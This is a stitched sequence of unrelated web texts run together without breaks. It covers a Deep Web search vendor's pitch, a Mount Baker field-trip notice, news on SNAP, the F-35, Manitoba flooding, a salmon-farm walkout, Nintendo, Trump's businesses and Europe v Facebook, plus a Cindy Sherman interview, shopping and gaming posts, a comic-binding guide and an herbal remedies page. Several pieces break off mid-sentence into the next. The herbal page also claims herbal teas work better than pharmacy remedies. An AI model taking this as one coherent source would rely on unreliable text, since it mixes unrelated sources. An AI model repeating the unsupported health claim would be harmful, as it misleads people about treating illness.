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direct queries into any site searches, as it only finds documents via link following. Hence, the “Living Legacy in 24 Notes” article has fallen into the Deep Web.
When BrightPlanet collects Deep Web content, it is exactly this type of search placed directly into the search forms that BrightPlanet can execute and at very large scale. Issuing thousands of search queries into thousands of Deep Web sites and pulling all the content back for analysis. Imagine being able to query every single online newspaper web search form within the U.S. simultaneously.
The other major advantage of using a Deep Web harvest over a search engine is efficiency. Doing a search for the query BrightPlanet on the Argus Leader webpage will return the same one article. However, doing a search for BrightPlanet within the Argus Leader domain on Google will return 74 results (see image on left). All of these results returning links that no longer contain BrightPlanet on the actual page as Google is still searching an old version of previous content on the page. When Google filters through a site for content, it filters through millions of links oftentimes picking up irrelevant content, when BrightPlanet performs a Deep Web search on a site, it only harvests the relevant contents related to your queries.
We Can Tap the Deep Web for You
Interested in learning how you can tap into the Deep Web for your business? Sign up to schedule a free demonstration call with one of our Deep Web investigators. The opportunities are endless and our investigators can help talk with you and figure out what solution might be best for you.
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Photo: dgray_xplaneThe field trip is FULL! Thanks to all our supporters. There is a short wait list.
Sign up for a Mount Baker Volcano Research Center field trip to the terminus of Mount Baker’s Easton Glacier.
The date is Saturday, September 10, 2016 and the trip will occupy most of your day. Meeting times and places are given below. The cost is $75, payable in advance. This covers your transportation by 15 passenger van, a paper describing features likely to be observed, and the leadership and spilling-over knowledge of not one but TWO guides!
ONLY SIX SEATS LEFT!
This is an intermediate level trip that
involves hiking partly on trail but also traipsing along a braided stream channel, which means walking on loose boulders, cobbles, and up (then down) a moderate rocky slope that can be a bit unstable for your footing. The total distance walked will be approximately 6 miles and the elevation gain is about 2,200′ (same loss).
What will you see? The Easton Glacier is one of the big ice streams on Mount Baker and has been studied fairly extensively. It has advanced and receded like all glaciers do, and you will be able to see ample evidence of both processes. If conditons warrant it, you will be able to go right up to the terminus to touch the ice, although don’t expect it to be pristine clean ice! We will see lava flows from two volcanoes, and tephra from three volcanoes, Little Ice age glacial moraines, and a Sherman Crater lahar.
To register: Make payments to MBVRC via our PayPal page. Send an email to mountbakerresearch at gmail dot com to reserve your seat(s). As a nonprofit educational and research organization, these field trips are our primary means of raising funds. MBVRC is an entirely volunteer organization. We will also have our popular tee shirts for sale ($20 each). Once you have registered, you will receive rendezvous information. This trip will likely fill up in a couple of days, so if interested, don’t hesitate!
Your co-hosts are Doug McKeever and Dave Tucker, both of whom are board members of MBVRC and geologists with considerable knowledge of Mount Baker.
What to bring: daypack, lunch, beverage, sunscreen and sunglasses, repellent, clothes for the weather (our trips go rain or shine☺), sturdy shoes or boots. Recommended are trekking poles, camera, perhaps binoculars.
This trip will fill up, so if interested, don’t hesitate!AUGUSTA, Maine (AP) -- Maine’s Republican governor is still pressing for his proposal to prevent the use of food stamps for junk food and planned to bring it up this week in Washington.
Gov. Paul LePage, who was attending a holiday party this week in Washington, D.C., blames powerful opposition from the food and beverage industries for resistance to his proposal, which federal officials are reviewing.
“We have an obesity problem, we have a Type 2 diabetes problem with our youth, and the federal government will not allow me to take soft drinks and chocolate bars and candy off the SNAP list,” LePage said, referring to the federal Supplemental Nutrition Assistance Program. “Why? The sugar lobby.”
LePage had hoped a new presidential administration would listen. Federal officials earlier this year requested more details on the administration’s proposal.
Last year, LePage threatened to cease the state’s food stamp program altogether after the U.S. Department of Agriculture first raised questions about cost estimates and other details on the ban’s impact.
At the time, LePage said he was not “naive enough to think” federal officials would ever be satisfied, and the state didn’t respond. But the LePage administration planned to respond to the USDA’s latest questions.
The federal agency didn’t respond to request for comment.
Critics have said that the government shouldn’t be dictating what people put in their grocery carts — and that the governor’s plan wouldn’t change poor people’s eating habits.
In 2011, former President Barack Obama’s Democratic administration rejected then-New York City Mayor Michael Bloomberg’s soda ban for food stamp recipients.
Maine’s renewed request also asks to divert federal funds away from nutrition education — which amounted to $4.3 million last fiscal year — and instead spend that money on studying the ban and on agencies that distribute healthy foods.
U.S. Secretary of Agriculture Sonny Perdue has signaled support for overhauling the more than $70 billion Supplemental Nutrition Assistance Program, which administers food stamps to 44 million recipients.
Perdue previously said LePage “has some very creative programs” that were worthy of exploring.New questions are being raised about whether the F-35 stealth fighter is the right aircraft for Canada after a U.S. general acknowledged the jet is limited in what it can do and needs to be accompanied on its missions by another multi-million-dollar aircraft.
The issue for Canada and other potential F-35 buyers is that the other aircraft referred to by the general – the F-22 – isn’t available for foreign sales because of its sophisticated technology.
Gen. Michael Hostage, head of air combat command in the U.S., said the F-35 is critical for the future of that country’s air force. But in an interview with the Air Force Times, published in February, Hostage pointed out the F-35 needs to work hand-in-hand with the F-22.
“The F-35 is not built as an air superiority platform,” Hostage said. “It needs the F-22.”
[np_storybar title=”What is the F-22?” link=””]
The F-22 Raptor is a single-seat fighter jet made by Lockheed Martin, which also makes the F-35.
Lockheed Martin calls its F-22 the world’s most advanced fighter. The U.S. has banned foreign sales of the Raptor.
The F-22 is the only fighter capable of simultaneously conducting air-to-air and air-to-ground combat missions with near impunity, according to Lockheed.
The final F-22 Raptor was delivered to the U.S. Air Force in May 2012. It is no longer in production.
[/np_storybar]
The U.S. Air Force is upgrading the F-22, which officers see as essential. Without the upgraded F-22s, “the F-35 fleet frankly will be irrelevant,” Hostage said.
The comments have sparked heated debate in aerospace and defence circles, and analyst Martin Shadwick says Hostage’s statements are bound to raise eyebrows in Canada. “I’m sure you won’t see the general’s comments in any F-35 marketing literature,” said Shadwick, a York University professor. “Canada needs a multi-role fighter and even if the F-22 were available we couldn’t afford another aircraft to fly top cover for the F-35s.”
Senior Royal Canadian Air Force officers have acknowledged they are keen to see the F-35 in Canada.
But in 2012, the Conservative government put a temporary halt to its purchase of the F-35 and appointed a group of senior officials to examine options for the replacement of the country’s CF-18 fighter jets.
That process is still under way. Public Works and Government Services can’t say when it will be completed.
Hostage’s comments echo earlier concerns by critics that the F-35 is mainly designed to strike at ground targets and is not well suited for aerial combat and interceptions.
But Mike Barton, a spokesman for Lockheed Martin Canada, said the F-35 meets all Canada’s needs. The general’s comments are a reflection of how the U.S. Air Force operates and are not relevant to Canada, he added.
Barton said Lockheed Martin has not seen any adverse reaction to Hostage’s comments from the Canadian government or any other nation interested in purchasing the F-35. “We’ve heard nothing about it impacting foreign interest,” Barton said.
The F-35 stealth fighter had become a major political headache for the Conservative government, which made it a lynchpin of their defence policy.
The controversy surrounding the F-35 purchase has centred on technical and cost issues, as well as the acquisition process. The Department of National Defence originally claimed the project would cost around $14.7 billion but then-Parliamentary Budget Officer Kevin Page put that price tag at around $29 billion.
Auditor General Michael Ferguson also issued a report concluding that DND officials withheld key information from Parliament about the jet purchase, underestimated costs, and didn’t follow proper procurement rules.
Still, the F-35 has had strong support in government. Prime Minister Stephen Harper has labelled the jet a good deal for Canada.
dpugliese@ottawacitizen.com
Twitter.com/davidpuglieseHey there, time traveller!
This article was published 18/2/2014 (1834 days ago), so information in it may no longer be current.
Manitoba's spring flood forecast is that it's too early to have a spring flood forecast, Premier Greg Selinger said today.
"It's still very early," Selinger said. "What happens in March and April has a significant impact on what kind of flooding we get, how quick the melt is, how much additional precipitation we get."
Selinger made his comments as the province's fleet of four ice-breaking machines and ice cutters — they score the ice for the ice breakers — started their second week of work on the Red River north of Selkirk.
Only midway into February, the The Manitoba Infrastructure and Transportation Hydrologic Forecast Centre says it's too early to estimate the amount of spring run-off potential.CS: It’s more like an essence. With some of the society portraits, as I’m shooting them, as the character is evolving, I will start to feel I know the character, or maybe I’ll realize the shots that work the best are the ones where she looks very haughty and bitchy and distant and cold, and that will help inform the character even if I didn’t plan on making her that way. Some of them look more haunted and sad and are trying to put up a good front. But it’s always a surprise to me when I see the results in the tests. Then I realize, “That’s the one that works.”
MR: I think I’ve told you this before—but when we were working together on the movie Office Killer, I remember thinking about my character’s clothing, and I had this idea that she was going to be very New York and wearing all black, you know, because she was written kind of bitchy. And when you came in you were like, “No no no.” You were very forthright: “Wrong, wrong, this is not right, she’s colorful, she has to have really bright colors.” I hadn’t thought of it that way, but as soon as you said that, and we started to build the character around these colors, it really changed the way I saw the character, and she ended up being a lot more funny and interesting. She was still really bitchy, but the color really informed my interpretation of her. It’s something I’ve thought about a lot since then.
CS: I like to make characters who are not supposed to be frumpy—to dress them up frumpy and take it in an opposite direction.
MR: Do you ever find yourself wanting to photograph people you see on the street, like, Oh I have to remember that outfit?
CS: Sure, yeah. And I’ve tried to do it surreptitiously. Usually the person’s approaching me and I’m trying to find my phone really quickly and then I pretend I’m just looking at my phone, and usually the picture is way out of focus or I catch the person from the side or the back. Recently I was in Venice and a bunch of us were having lunch and there was this waitress who was incredible—I have never seen anybody with so much mascara on. It was as if she used a whole thing of mascara in one sitting. It was caked on in the most outrageous way! I wish I were one of those people who don’t mind going up to a stranger and saying, “Wow, can I take your picture, you look great!” That would make sense if they’re really attractive, but if they’re very strange-looking... maybe they don’t know that they’re strange-looking. It might be a little insulting or something. So I make mental notes.
MR: Do you feel women in general take enough risks with what they wear?
CS: Well, I don’t think celebrities take enough risks—especially celebrities who have a creative side and probably know exactly what they feel good in. But that’s because they get torn apart in the press so much they’re afraid of taking chances. So everybody just looks very tasteful and kind of all the same.
MR: Yeah, bland.
CS: Yeah. So for somebody who likes to watch celebrity events, it’s sad to see everybody look the same. But the general public? I think most people see themselves one way, and that’s how they always see themselves, even as they get older, like wearing the same hairstyle forever. They hit a certain look when they’re twenty-five and continue to look that way until they’re old. Men and women.
MR: Most fashion people actually counsel you to do that—to keep one hairstyle, like Anna Wintour or Jacqueline Kennedy Onassis. They really picked a look and didn’t deviate very much.
CS: That’s true.
MR: I feel I took way more risks as a young person. I’ll look at old photographs of myself—or even old movies, because that had a lot to do with my clothes—and I’ll think, “Wow, I was really bold, I was really going for it there.” I never really thought in terms of what other people were going to think. Now I’m not a neutral dresser, though I certainly don’t take the risks I used to take. Do you find you’ve gotten riskier as you’ve gotten older?
CS: I think so, because when I was younger, especially when I was starting to get more successful, I felt so guilty about it that I didn’t want to stand out. I’d go to an opening and just try to blend in. Now it is what it is. And I can afford to experiment more with shopping and purchases, so I definitely feel more playful.
MR: I feel like you’re a lot sexier.
CS: Ha! That’s nice.
MR: I always thought you were great looking, but you were more... I don’t know...
CS: I was tomboyish, I think.
MR: And cute! I wonder if that had anything to do with... Well, you were at the tail end of not such a happy marriage. Do you feel your clothing is influenced by the person in your life?
CS: Yes. Although I think what also happened is I became single again and I was starting to get older, and I wanted to recapture some femininity I felt I lost through the unhappiness of the marriage or my youth going away. I also was so much more insecure about my body then, and I felt so much better about myself after the divorce that I didn’t mind letting more of my femininity come out.
MR: It was really interesting to see that transformation. It’s also great for me to know somebody who looks better as she gets older (laughs) rather than the other way around. Because I think aging is really, really rough.
CS: It’s scary, yeah.
MR: It is! It’s fucking scary! There’s part of me that wants to say, “I’m deeper than that, this shouldn’t matter, think about the roots of the tree rather than the flower.” And I do. There’s a part of me that really believes that. Then there’s the other part of me that’s just like, “Fuck, it’s only going to get worse.”
CS: I know, it’s really scary.
MR: But in a lot of ways, I’m better-looking now than I was in my thirties. I’m more confident, my body is better because I think about it and work on it.
CS: I totally agree.
MR: How do you feel about the way culture sees and presents women to women?
CS: I think it’s scary what the fashion world presents as women. But I also know that when I’ve had my picture taken and they’ve done a tiny bit of retouching, I actually am thankful. They show me the before and it’s like, “Oh god.” But it’s these models, I think. It’s not so much the retouching, it’s the choice of models. They could still find really beautiful people who weren’t necessarily so skinny, or they could find really interesting faces that weren’t classically beautiful.
MR: They don’t look quite human to me. I feel like I’m conditioned like everybody else to think, “Oh, that’s pretty, that’s beautiful, they’re so elongated,” but when I really think about it, they’re just not like anybody else.
CS: Yeah, they’re freaks of nature compared with the rest of us.
MR: And freaks of nature that go in one direction rather than another. Fashion’s always been around, but there’s a lot more pressure on girls to look a certain way. I love your centerfold pictures, because most centerfolds are so fake and the women don’t look real.
CS: I made them for a magazine as a response to the idea of a centerfold. But I wanted it to feel like you were intruding on somebody’s intimacy, rather than feeling like you wanted to gawk. I wanted it to make you feel like, “Oops, I better turn the page.”this offer is expired
We don't throw parties here at the RFD global headquarters very often -- only for the new Taylor Swift album, the return of the McRib and now for Walmart's Boxing Week flyer, which you can view right now on RedFlagDeals!
Online shoppers get a head-start as this flyer is effective on Walmart.ca on December 24 at noon EST while in-store shoppers will have to wait until December 26 -- note that sale prices will not reflect on product pages until the sale begins. The flyer is effective until December 31.
We're brimming with excitement because of some of the deals and asked our editors to take a break from the festivities to show you why we're so excited. Take a look below to see what Walmart has to offer this Boxing Week.
Appliances and Kitchen
Computers and Tablets
Groceries
Home and Pets
In-Store Only Clearance Offers
Assorted toys from $10.00
Up to 40% off select power tools
Up to 40% off select winter or all-season tires
50% off all Christmas decor merchandise
50% off table games
Peripherals and Entertainment
Televisions
Video Games
Boxing Week offers are only available while supplies last and there are no rainchecks. When shopping online, Walmart.ca offers free shipping on all orders over $50.00 or free with no minimum if shipped to a Canada Post pick up location. Don't forget to login via RFD Cash Back to earn an additional 2% back on your purchase!“People keep talking about fighting for our future. We are actually going to fight for it.”
TYSON WHITNEY PHOTOS A North Island Secondary School student delivers a letter to Principal Jay Dixon, requesting it be sent to Prime Minister Justin Trudeau and Premier John Horgan.
Roughly 20 North Island Secondary School (NISS) students in Port McNeill peacefully walked out of class today in a show of solidarity with the ‘Namgis and Musgamagw Dzawada’enuxw fish farm occupations at Midsummer Island and Swanson Island in the Broughton Archipelago.
“People keep talking about fighting for our future. We are actually going to fight for it. We are the future. Wild salmon are our future,” said Gwantilakw Cranmer, a grade twelve student, via press release.
Ernest Alfred, who’s been occupying Swanson Island since late August, stated in an interview with the Gazette he is excited that the students “are taking it upon themselves to protest peacefully — they’ve signed a letter that they want delivered to the Prime Minister and Premier John Horgan.”
After leaving class at 10:00 a.m., a student read the letter the group had signed to NISS Principal Jay Dixon and then handed it to him.
Dixon thanked the students for sharing their beliefs through the protest, and he stated if there were any more students who wanted to sign their names to the letter, “then deliver it to me and I will pass it on.”
The students marched through the rain with their signs held high to the Alert Bay ferry terminal, traveling over to Swanson Island afterwards.
The students called the action “Walk Out For Wild Salmon”.
“Why would anyone do something to hurt our wild salmon? Why is the government taking so long to protect our future? It should be simple. Just tell the fish farms to go away,” wrote Gwimolas Cranmer, a grade eight student.
The student’s press release stated the fish farms at Swanson Island, Midsummer Island, and Port Elizabeth are operated by the Norwegian company Marine Harvest, and have been occupied by hereditary leaders and community members of the ‘Namgis and Musgamagw Dzawada’enuxw since Aug. 24.
Premier John Horgan and a number of Provincial Cabinet Ministers travelled to Alert Bay on Oct. 10 to attend a meeting with eight united First Nations, including over forty hereditary chiefs, who are allied against the fish farm operations.
RELATED: Tensions build between RCMP and First Nations
RELATED: Premier John Horgan talks fish farms in Alert BayI can remember it now: getting up before the sun to survive the next eight painfully long hours of junior high school classes. For others, attending school might not have been such a big deal but for me, however, school was absolutely unbearable during the time and the only thing that kept me going was thinking about sitting at my small rolling chair and hopping on the computer the instant I step through the house. Ah, that was the life.
But, I'm sure most of you know about that exact feeling I'm talking about. Do you remember that game you spent hundreds of hours struggling to stay up all night just to keep playing? Well, for me, that game was Counter-Strike 1.6. The community was perfect and it would be a blessing to bring back the golden days so many people have missed out on.
(Source)
After stepping out of hiatus and trying out CS: GO for the first time ten months ago, I was hooked when I first held the AK-47. It brought back some great memories and I know for a fact that when older CS veterans try experimenting with the series again, they will be dropped with a wave of nostalgia as well. Whether it be seeing the terrorist side on Dust II still awping at Mid Doors, walking the brightly lit corridors on Office, or simply hearing the sound when attempting to defuse a planted bomb.
It was also great to see that the core mechanics and gameplay had not been tinkered with from the older games of the series. This may sound cliché, but I feel that the phrase, "If it ain't broke, don't fix it," truly connects to this. And within these ten months of playing, browsing the forums, and interacting with all these passionate players, the community is rapidly growing into what it once was.
It is refreshing to see such an active and passionate community catered to both the casual and competitive side of Counter-Strike. Frequent releases of new skins, maps, and gameplay tweaks means that Valve cares and respects our community, but it also means that they are noticing that more and more individuals are getting interested in the game Today's population peak capped off at 151,488 players according to Steam's very own game statistics. That is quite a drastic increase in comparison to last year's statistics which capped off at about 45,000 players daily.
If we keep this up and sustain the community with our very own custom made skins and maps, gameplay feedback, and most importantly a positive attitude, I'm certain that CS: GO will be ranked among the top in terms of popularity and community support.
(source)
Here are some things you can do to help fuel and maintain a positive community and potentially bring back the glory days of Counter- Strike
- Sign up for forums and offer good feedback and gameplay suggestions
- Sign up for forums and report bugs, glitches, and exploits
- Report any cheaters or griefers in-game (This includes activity within Overwatch)
- Keep an archive of your best moments and share it on social networks (montages, highlights, funny moments, etc)
- Create and/or test community made maps and skins using the community work-shop
- Lastly, play the game often and with a positive attitude.Nintendo has long resisted the call of mobile gaming, but today it entered the space in a big way. The company has announced that it will team up with DeNA, a major Japanese mobile gaming company, to make smartphone games featuring Nintendo characters. The two companies "intend to jointly operate new gaming applications featuring Nintendo IP, which they will develop specifically for smart devices," according to a Nintendo statement.
"Only new original games optimized for smart device functionality will be created."
Although the games will leverage Nintendo properties, they won't be straight ports. "To ensure the quality of game experience that consumers expect from this alliance of Nintendo and DeNA, only new original games optimized for smart device functionality will be created, rather than porting games created specifically for the Wii U home console or the Nintendo 3DS portable system," says DeNA in a statement.
To further emphasize the point that Nintendo isn't giving up on dedicated games systems, president Satoru Iwata said at a press conference in Tokyo today that Nintendo is working on a new console, codenamed NX, with a "brand-new concept." No further details were revealed, and NX will be some way off; Iwata says the company hopes to announce more next year.
Nintendo president Satoru Iwata
Nintendo and DeNA will also develop a cross-platform service that runs across smartphones, tablets, PCs, and Nintendo's own devices; this is set to launch in fall of this year. Nintendo is taking a 10 percent stake in DeNA, while DeNA is buying 1.24 percent of Nintendo.
Nintendo has flirted with mobile gaming before. In a tie-up with GungHo, the company will release a Mario-themed version of Japanese mobile smash hit Puzzle & Dragons for 3DS next month, and recent experiments like Pokémon Shuffle have adopted similar free-to-play business models.An Introduction to Comic Book Binding
It’s been a long while since we’ve provided you, our fellow nerds, with a primer. The purpose of this series is to take an in-depth look at specific sub-genres of nerd culture, and today’s article does not stray from that premise. Without further adieu, let’s take a look at art of comic book binding.
History
I’m going to ask you to bear with me over this next paragraph, because we are going to have a tiny history lesson. Unlike some of our previous primers, bookbinding goes back a long way. Remember hearing about Johann Gutenberg in history class? Well, he is responsible for creating the movable type printing press, which allowed for faster printing. Faster printing meant more books, and more books meant more focus on the art of bookbinding, which really took off in the late 15th century. Also happening in the 15th century: the Aztec and Inca empires were at the height of their power. Fun fact: initially, books were shelved with the spines facing inwards, and the title inked onto the edge of the pages. It wasn’t until Jean Grolier commissioned beautiful bindings with with lettering on the spine that they began to shelve them spines out, as is the custom now (stay tuned for my next primer on watching paint dry!).
Look, I know this might be boring for some of you, and possibly jarring since you are here to figure out if you want to get your DOOP collection professionally bound, but we really take book-bindings as they are now for granted. You’re right, though… it’s time to move onto the next portion of this primer.
Choosing a Bindery
Deciding whether to get your comic books professionally bound is a big decision. I imagine a good sized portion of the comic community cringes at the thought of someone cutting the spine off a book and stitching it to a bunch of its comic book brethren. Having said that, comic book binding is great for collectors like me that don’t intend to sell their books, want to keep them easily accessible, and don’t consider short boxes home decor.
I decided to give binding a shot because I have four short boxes filled with modern era Valiant Comics sitting in the back of my closet next to an expired fire extinguisher, assorted batteries, and our winter coats. A one-of-a-kind hardback book (that I helped design, no less) filled with some of my favorite comics was just too good to pass up. After doing some research on the Google, I decided to go with Herring and Robinson Book Binders. Herring and Robinson is a family owned library bindery that began business in 1920. Before I decided to pull the trigger, I gave them a call to learn about the binding process. They graciously answered all my questions during my initial phone call, and stayed in touch via email throughout. Ultimately, it was their customer service that won me over.
Prepping Your Books for Binding
First and foremost, it’s important to decide which series or event you are binding. For my first foray into binding, I chose my X-O Manowar collection, which included issues #1-50, two #0 issues, and two annuals. Once you choose your books, it’s time to get them into the order you want. While each volume could be up to 2 1/2″ thick, I decided to break my collection into two volumes so the gutter loss would not be as bad. The first volume would include issues #1-25, and the second volume would include #26-50, with the #0’s and annuals put in according to when they were released.
Now comes the hard part… if you want to take away some of the thickness, or you find it more aesthetically pleasing, you can remove the ads throughout the comic as long as it doesn’t include any of the actual panels. While yes, you are technically cutting into a comic book which could be considered blasphemous, it’s for the greater good. I decided to remove the last few pages of each book, because these usually contained previews for upcoming Valiant titles, which I didn’t need. To do this, I simply grabbed my trusty Wrath of the Eternal Warrior box-cutter, and cut just to the right of the center line to avoid the staples. Some binderies also prefer the buyer to remove the staples prior to sending, but Herring and Robinson don’t require this. Once the pages are removed put the issues back in the correct order, place some comic boards on the top and bottom to protect the pages, and wrap them with a few rubber-bands.
I have included some photos of how I prepped my books below. They are not for the faint of heart…
The Eternal Warrior always wins
Placing Your Order
Herring and Robinson provides a myriad of options for customizing your book. You can have double lines, single lines, die-stamps, lettering, and choose the placement of everything. Then you have to choose the type and color of the binding, and the color of the lines and lettering, add a ribbon or headband, it’s… let’s just say you have a lot to think about. I spent a lot of time figuring out exactly how I wanted the spine to look. I eventually settled on double lines at the top and bottom, sans-serif lettering, the buckram material in royal blue with silver lettering. Herring and Robinson provides the following order form, that has a diagram of the spine and front cover, so you can show them exactly how you want it to look by sketching it out.
Now, pack the order form in with your books, make sure it’s well protected, and ship it off to Herring and Robinson. The wait begins.
The Final Product
Their website says it will take 6-8 weeks for the order to be completed, but after only 4 weeks I received my invoice and tracking number. I’m not going to lie, when I saw that my package was out for delivery and my mailman was running later than usual I stared out my window like Michael Scott stares at Toby. The wait paid off when I pulled these beautiful books out of their package:
For a price tag of around $30 a book, I ended up with two beautiful, one-of-a-kind books that will look great on my nerd shelf. The quality of these books is mind-boggling. They are solidly constructed, and feel great to the touch. But, is comic book binding for everyone? Probably not. There are those that cringe at the thought of ravaging their comics with a razor blade. Those of you, like me, who don’t plan on selling your collection, want to be able to display them proudly, and can make it through the prep, comic book binding is definitely worth it. I am beyond happy with how my first foray into bound comics turned out, and I will definitely be sending more over the next few months.Annies Remedy - Herbs for Self Healing
St. Johns Wort
Annies Remedy A-Z Medicinal Herb Chart contains information on hundreds of traditional medicinal herbs and plants, yet it is still only a tiny fraction of the natural plants used for healing worldwide. The focus is for the most part on Western herbs though there is a sampling on the most popular herbs from the herbal traditions of China and Ayurveda as well as other cultures. The herb profiles include photographs, descriptions, medicinal uses, folklore, and references from the leading herbalists of today and ancient times. You can browse alphabetically by common names, to find information on a popular herb like ginger, or find it listed by its botanical name, Zingiber officinale.
Herbs are also grouped by their properties and actions. For example you will find herbs that are Adaptogens used in many herbal formulas for building the immune system and increasing the body's resistance to stress and adversity. Anti-inflammatory herbs help to calm flare ups in the digestive system as well as providing alternative remedies for arthritis. Antibacterial herbs help the body ward off cold germs and other infections of the airways while expectorants help to calm coughs.
The practical and common uses of herbs, as well as recipes and instructions on how to use them can be found in the herbal remedies section. The wise woman's knowledge of plants is of a practical nature, based on skill, observation, and recipes that are passed down from generation to generation. She was the family doctor, herbalist, candle maker, chef, and seamstress all rolled into one. This collection of herbal remedies grew out of a personal quest for self healing with herbal based alternative medicine. I hope you will find something here that helps you also, whatever your interest in natural, alternative medicine may be. Two of of the most popular uses for herbs according to our website visitors are: Natural strategies for healthy weight loss, and finding new ways to preserve and improve our ability to focus and combat memory loss. One of the most amazing things you will learn as you start to bring herbs and plants into use your daily life is how versatile they can be. We hope to provide you a good starting place in your search for health and well being.
Current month is 02
February - Warming Winters Chill
February's flower, the violet, is a symbol of faithfulness, modesty, and simplicity. However it is the rose that reigns supreme as the classic symbol of love. The rose is a sensual, evocative aphrodisiac that affects both mind and body in a synergistic fashion. The scent of roses reaches within to lift depressive moods and creates a feeling of well being and mild euphoria. Renew your loving vows on Saint Valentine's Day with these classic aromatherapy and massage blends featuring rose, ylang-ylang and jasmine.
Winter seems even more cold and prolonged this year. Artic storms hold much of the nation in an icy grip even here in the normally balmy South. Herbs bring needed warmth to our food and drink and help to heal our souls ills whatever the weather brings. Trusted family home remedies for colds are treasured and passed down from generation to generation because they work so well. We have gathered some of the best here at Annies Remedy. Herbal teas with lemon, eucalyptus, thyme and mint work better and cost less than any you can buy at the pharmacy. Prepare your family for the cold and flu season by stocking your herbal medicine chest with these home remedies for colds.
AnnieNew Delhi: Three key wings of Gujarat Police misused their powers to stalk an unmarried young woman from Bangalore in 2009 under orders from then minister of state for home Amit Shah who did it for his "saheb", say investigative websites Cobrapost and Gulail.
"The entire surveillance-cum-phone interception operation by the State Intelligence Bureau, the Crime Branch and the Anti-Terrorist Squad was mounted in August 2009 on oral orders, without any valid legal authorisation, and was meant only to serve the interests of someone whom the then minister of state for home, Amit Shah, addressed as'saheb,'" the report says.
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the air. – See more at: http://www.tropicalsnorkeling.com/fiji-snorkeling-simply-the-best.html#sthash.9l1Yy085.dpuf
Special Thanks to the below sites and URLs for providing information on the above list
References:
http://www.papuanewguinea.travel
http://tropicalsnorkeling.com
http://tripadvisor.com
http://griyasari.com/
http://islandsofpuertorico.com/
http://www.payabay.com/
http://www.islands.com
http://galapagos.org
http://fishnfins.com
http://frommers.com(Reuters) - U.S. President-elect Donald Trump has delayed until January an announcement originally set for this week on how he plans to step back from running his business empire to avoid conflicts of interest, his spokesman said on Monday.
Among Trump’s holdings are hotels and golf resorts from Panama to Scotland, besides a winery and modeling agency. Legal experts say the only way he could entirely avoid conflicts of interest would be to sell his global holdings.
Last month Trump said he would hold a news conference on Thursday to spell out how he would separate himself “in total” from his worldwide business holdings.
“The announcement will be in January,” Trump spokesman Sean Spicer said on Monday, without giving any reason. The Republican president-elect has not held a news conference since winning the Nov. 8 election.
After Trump’s victory, his company, the Trump Organization, said it was looking at new business structures with the goal of transferring control to Donald Trump Jr., Ivanka Trump and Eric Trump, three of his children who are involved with the company.
In a series of messages on social network Twitter, Trump said he would leave his businesses before taking office on Jan. 20, to focus on the presidency.
“Two of my children, Don and Eric, plus executives, will manage them,” Trump tweeted late on Monday. “No new deals will be done during my term(s) in office.”
The messages did not mention a role for Ivanka Trump in the businesses. Trump added that he would hold a news conference in the “near future” to discuss business matters, his cabinet picks and other topics.
In a series of tweets last month, Trump said, “Legal documents are being crafted which take me completely out of business operations.” He did not say what the planned change might mean for ownership of his businesses.Home Comforts
Thursday 4 July 2013 11:00
Take a look behind the scenes as Brede Hangeland, Damien Duff, Bryan Ruiz, Steve Sidwell and Alexander Kačaniklić road-tested our new adidas home kit.
Pre-order your 2013/14 adidas Home Kit online, at the Stadium Store or direct on 0843 208 1223 today. Make sure to visit our kit homepage to find out all the info.
Don't forget that if you're one of the first 500 supporters to place an order, as a special thank you we'll also be sending you a #takemehome t-shirt absolutely FREE!*
*The first 500 Home Kit pre-orders (to include a Home Shirt) are entitled to a #takemehome t-shirt free of charge, which will be delivered automatically with your order upon launch in early July. #takemehome t-shirts available in one size. Available while stocks last.The European data protection activists behind the Europe v Facebook (evf) campaign group, that has long been a thorn in Facebook’s side in Europe, have filed new complaints under regional data protection law targeting Facebook, Apple, Microsoft, Skype and Yahoo for their alleged collaboration with the NSA’s Prism data collection program.
The student activist organisation is targeting the European subsidiaries of these five U.S. companies, arguing that their corporate structure means they fall fully under European privacy laws despite being U.S. headquartered companies. And yet, being as they are U.S. companies, they are required to comply with U.S. surveillance laws — putting them in the “tricky” situation of having to comply with potentially conflicting legal requirements. It’s that legal conflict evf is now probing.
Evf takes the view that the law needs clarifying — and it using these new data protection complaints as the vehicle to obtain clarification from the various regional data protection agencies. Facebook and Apple; Microsoft and Skype; and Yahoo have subsidiaries in Ireland, Luxembourg and Germany respectively. “We want a clear statement by the authorities if a European company may simply give foreign intelligence agencies access to its customer data. If this turns out to be legal, then we might have to change the laws,” noted evf speaker, Max Schrems, in a statement.
The key question, as evf sees it, is whether “mass transfer” of personal data from to a foreign intelligence agency is legal under European law. “Many journalists have asked us in recent weeks if PRISM is legal from a EU perspective. We have looked at that a little closer. The result was – after consulting with legal experts – that it is very likely illegal under EU data protection laws, because of the corporate structure of the companies,” added Schrems.
Google and YouTube have not been included in this first round of evf complaints being as they have a different corporate structure that does not include European subsidiaries. However it notes they do have datacenters in European countries, which will give evf a route to filing Prism-related data protection complaints against both at a later date.
Writing in a press notice announcing its new action, evf added:
If a European subsidiary sends user data to the American parent company, this is considered an “export” of personal data. Under EU law, an export of data is only allowed if the European subsidiary can ensure an “adequate level or protection” in the foreign country. After the recent disclosures on the “PRISM” program such trust in an “adequate level of protection” by the involved companies can hardly be upheld. There can in no way be an adequate level of protection if they cooperate with the NSA on the other end of the line. Right now an export of data to the US must be seen as illegal if the involved companies cannot disprove the reports on the PRISM program.
According to evf, the subsidiaries being targeted by these complaints have “the burden of proof” — to either “credibly assure” that the Prism program is a hoax, or “explain how mass access by a foreign intelligence agency interplays with EU data protection laws”.
Evf cites a 2006 case precedent involving payment processor SWIFT which had forwarded transaction details to U.S. authorities. In that case it says a group of EU data protection authorities decided that such a mass data transfer is illegal under EU law, leading to SWIFT to move European data to a server in Switzerland. The case also led to an agreement between the U.S. and the EU on the use of payment data to combat crime.Refrain from posting comments that are obscene, defamatory or inflammatory, and do not indulge in personal attacks, name calling or inciting hatred against any community. Help us delete comments that do not follow these guidelines by marking them offensive. Let's work together to keep the conversation civil.
